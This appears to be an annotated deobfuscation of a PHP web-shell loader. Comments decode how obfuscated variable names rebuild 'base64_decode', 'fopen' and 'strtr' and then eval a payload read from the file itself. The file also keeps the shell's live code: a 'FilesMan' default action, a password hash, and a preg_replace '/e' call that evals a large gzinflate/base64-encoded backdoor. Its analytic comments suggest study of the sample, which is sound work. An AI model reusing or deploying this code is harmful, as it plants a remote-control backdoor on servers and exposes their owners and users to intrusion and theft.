5eS22i0f

1<?php 
2
3// $base64_letters = fg6sbehpra4co_tnd
4$OOO000000 = urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');
5
6// assemble "base64_decode" from $base64_letters
7// $base64_decode=base64_decode;
8$GLOBALS['OOO0000O0']=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5}.$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};
9$GLOBALS['OOO0000O0'].=$GLOBALS['OOO0000O0']{3}.$OOO000000{11}.$OOO000000{12}.$GLOBALS['OOO0000O0']{7}.$OOO000000{5};
10
11// fopen
12// $fopen=fopen;
13$GLOBALS['OOO000O00']=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};
14
15// fget
16// $fget=fget;
17$GLOBALS['O0O000O00']=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};
18
19// fgets
20// $fgets=fgets;
21$GLOBALS['O0O000O00']=$O0O000O00.$OOO000000{3};
22
23// fread
24// $fread=fread;
25$GLOBALS['O0O00OO00']=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};
26
27// strtr
28// $strtr=strtr;
29$GLOBALS['OOO00000O']=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};
30
31// stores absolute path of this file to variable 
32// $self=__FILE__;
33$OOO0O0O00=__FILE__; 
34
35// offset 1 ?
36// $offset1=0x7a0c;
37$OO00O0000=0x7a0c;
38
39// first eval 
40
41eval($GLOBALS['OOO0000O0']('JE8wMDBPME8wMD0kR0xPQkFMU1snT09PMDAwTzAwJ10oJE9PTzBPME8wMCwncmInKTskR0xPQkFMU1snTzBPMDBPTzAwJ10oJE8wMDBPME8wMCwweDUwZik7JE9PMDBPMDBPMD0kR0xPQkFMU1snT09PMDAwME8wJ10oJEdMT0JBTFNbJ09PTzAwMDAwTyddKCRHTE9CQUxTWydPME8wME9PMDAnXSgkTzAwME8wTzAwLDB4MWU0KSwncFQxb3prbWp4SWh0dWViWEFuTUJaSis2clBWV2cwc2FkZnc5OHlpN2NxSFFSR1lDU1VFT0RGdk5LTGwyMzQ1Lz0nLCdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvJykpO2V2YWwoJE9PMDBPMDBPMCk7'));
42
43// the above eval line reads like: 
44// eval(base64_decode('JE8wMDBPME8wMD0kR0xPQkFMU1snT09PMDAwTzAwJ10oJE9PTzBPME8wMCwncmInKTskR0xPQkFMU1snTzBPMDBPTzAwJ10oJE8wMDBPME8wMCwweDUwZik7JE9PMDBPMDBPMD0kR0xPQkFMU1snT09PMDAwME8wJ10oJEdMT0JBTFNbJ09PTzAwMDAwTyddKCRHTE9CQUxTWydPME8wME9PMDAnXSgkTzAwME8wTzAwLDB4MWU0KSwncFQxb3prbWp4SWh0dWViWEFuTUJaSis2clBWV2cwc2FkZnc5OHlpN2NxSFFSR1lDU1VFT0RGdk5LTGwyMzQ1Lz0nLCdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvJykpO2V2YWwoJE9PMDBPMDBPMCk7'));
45
46// above eval results in code block below:
47
48$O000O0O00=$GLOBALS['OOO000O00']($OOO0O0O00,'rb'); 
49$GLOBALS['O0O00OO00']($O000O0O00,0x50f);
50$OO00O00O0=$GLOBALS['OOO0000O0']($GLOBALS['OOO00000O']($GLOBALS['O0O00OO00']($O000O0O00,0x1e4),'pT1ozkmjxIhtuebXAnMBZJ+6rPVWg0sadfw98yi7cqHQRGYCSUEODFvNKLl2345/=','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'));
51eval($OO00O00O0);
52
53// which looks like this deobfuscated:
54//
55// $file = fopen(__FILE__,'rb');
56// fread($file,0x50f)
57// decode payload stored in file @ 0x1e4 via strtr (single byte character replace. p=A T=B 1=C o=D etc.)
58// $payload=base64_decode(strtr(fread($file,0x1e4),'pT1ozkmjxIhtuebXAnMBZJ+6rPVWg0sadfw98yi7cqHQRGYCSUEODFvNKLl2345/=','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'));
59
60
61// execute payload
62// eval($payload);
63eval($OO00O00O0);
64
65
66return;
67
68?>
69
70
71/// executing the above payload yeilds: 
72
73
74while(time()>1392595200)die('soy inocente!!!');
75
76
77// this function still hasn't been decoded 
78
79$OO00O00O0=str_replace('__FILE__',"'".$OOO0O0O00."'",$GLOBALS['OOO0000O0']($GLOBALS['OOO00000O']($GLOBALS['O0O00OO00']($O000O0O00,$OO00O0000),'pT1ozkmjxIhtuebXAnMBZJ+6rPVWg0sadfw98yi7cqHQRGYCSUEODFvNKLl2345/=','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/')));
80
81fclose($O000O0O00);
82eval($OO00O00O0); 
83
84
85$auth_pass = "68c5013474b5765a2cdf4c2dc45e73db"; 
86$color = "#df5"; 
87$default_action = 'FilesMan'; 
88$default_use_ajax = true; 
89$default_charset = 'Windows-1251'; 
90
91preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'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